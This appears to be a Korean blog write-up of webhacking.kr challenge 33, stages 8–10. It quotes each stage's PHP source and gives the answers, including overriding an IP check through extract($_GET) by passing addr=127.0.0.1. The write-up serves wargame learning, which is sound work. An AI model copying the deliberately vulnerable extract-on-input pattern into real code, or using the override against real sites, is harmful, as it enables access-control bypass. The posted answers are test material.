요즘은 $_SERVER에 들어가는 변수값은 다시 할당 해줄 수 있다는게 포인트다. 결국 변한건 고대로 변하기때문에, if에서 원하는 값은 전부 똑같은 값이다. 아이피니까 따로 올리진 않겠다..

<hr>
Challenge 33-8<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

extract($_GET);

if(!$_GET[addr]) $addr=$_SERVER[REMOTE_ADDR];

if($addr=="127.0.0.1")
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>



extract는 전에도 한번 나왔지만 그냥 변수로 쓰겠다는거라 큰 의미는 없다.
$_GET[addr]에 값이 할당되어 있지 않으면 $addr에 원격 아이피, 즉 내 아이피를 넣는다고 말하고 있으므로
$_GET[addr] = 127.0.0.1; 해주어 패스하자

<hr>
Challenge 33-9<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

for($i=97;$i<=122;$i=$i+2)
{
$ch=chr($i);

$answer.=$ch;

}

if($_GET[ans]==$answer)
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>


97부터 122까지의 아스키코드를 출력하라는건데 요 아스키코드들은 왠만하면 다 알것 같다. 바로 알파벳 소문자다.
근데 2씩 뛰고 있다. 2씩 뛰면 이런 모양이 되겠지?
acegikmoqsuwy

넣어주고 넘어간다. 벌써 10번.. 이제 끝나겠지 하는 막연한 생각을 가져본다.

<hr>
Challenge 33-10<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

$ip=$_SERVER[REMOTE_ADDR];

for($i=0;$i<=strlen($ip);$i++)
{
$ip=str_replace($i,ord($i),$ip);
}

$ip=str_replace(".","",$ip);

$ip=substr($ip,0,10);

@mkdir("answerip/$ip");

$answer=$ip*2;
$answer=$ip/2;
$answer=str_replace(".","",$answer);

$pw="###";

$f=fopen("answerip/$ip/$answer.$ip","w");
fwrite($f,"Password is $pw\n\nclear ip : $_SERVER[REMOTE_ADDR]");
fclose($f);

?>


좀 읽어야되는 길이가 나와싸.

ip길이만큼 돌면서 해당하는 숫자를 ord해주고 .을 없애는둥 여러 공정을 거치는데 요대로 폴더가 만들어지는것 같고.
구해지는데로 그냥 경로를 넣어주면된다. 내가 매번 말하지만 요런걸 일일히 다 하고 있을 필요가 없다. PHP는 깔기 쉬우니 그냥 해보는게 시간을 절약하는 길이다... ㅠㅠ

어쨌든 넣으면 끝난다. 쓸데없이 길고 점수도 짠... 문제..





2016/04/01 16:11 2016/04/01 16:11